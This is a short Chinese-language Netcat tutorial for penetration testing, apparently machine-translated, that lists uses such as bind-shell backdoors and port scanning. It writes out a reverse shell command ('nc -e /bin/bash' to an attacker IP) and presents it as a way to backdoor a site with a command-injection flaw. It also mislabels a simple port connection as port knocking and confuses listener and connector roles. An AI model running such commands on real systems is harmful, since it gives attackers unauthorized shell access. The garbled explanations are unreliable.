渗透测试工具教程：瑞士军刀Netcat（nc.exe）的使用方法，Netcat实战教程_渗透测试工具-【netcat的使用方法,netcat实战教程,netcat教程,瑞士军刀使用教程,netcat使用教程下载】

在黑客攻击领域，通过攻击使用最多和强大的工具通常被称为“ Netcat ”，它是用于使用TCP或UDP分析和写入网络连接的计算机网络功能。Netcat旨在成为可靠的后端，可以直接使用或由其他程序和脚本轻松驱动。同时，它是一个功能丰富的网络调试和调查工具; 因为它可以创建用户可能需要的几乎任何类型的连接，并具有许多内置功能。
Netcat同时非常容易和多用途，就像试图解释你可以用瑞士军刀做的一切。
举些例子：-

获取标志
绑shell（后门）
聊天
文件上传和下载
端口扫描
港口敲门
转发端口
显示Web服务器HTTP文件内容

当你在kali Linux的终端输入nc -h时，netcat里面有很多选项来增强它的功能和效果。在深入了解其工作细节之前，您必须知道这里我们使用两个系统一个作为攻击者另一个作为目标系统。
让我们开始吧！

Port Knocking （端口爆破）

打开kali Linux的终端并键入以下命令，其中包含目标的IP和目标端口号。

nc 192.168.1.21 2222

因此，当执行给定命令时，它将通过敲击端口来告知隐藏的运行服务，从下面给出的图像可以看出端口2222是为SSH打开的。

渗透测试工具教程：瑞士军刀Netcat（nc.exe）的使用方法，Netcat实战教程

反壳
主要是攻击者使用netcat作为后门来进行未经授权的访问目标系统，在此攻击者在扫描任何易受攻击的目标时激活侦听端口（随机端口）。
nc -e /bin/bash 192.168.1.21 4444
上面的命令将等待受害者系统的反向连接。
在给定的屏幕截图中，您可以看到正在运行的网站遭受os命令注入漏洞现在使用nc -e / bin / bash 192.168.1.21 4444在受害者和攻击者系统之间建立连接，这将允许通过创建后门进行未经授权的访问。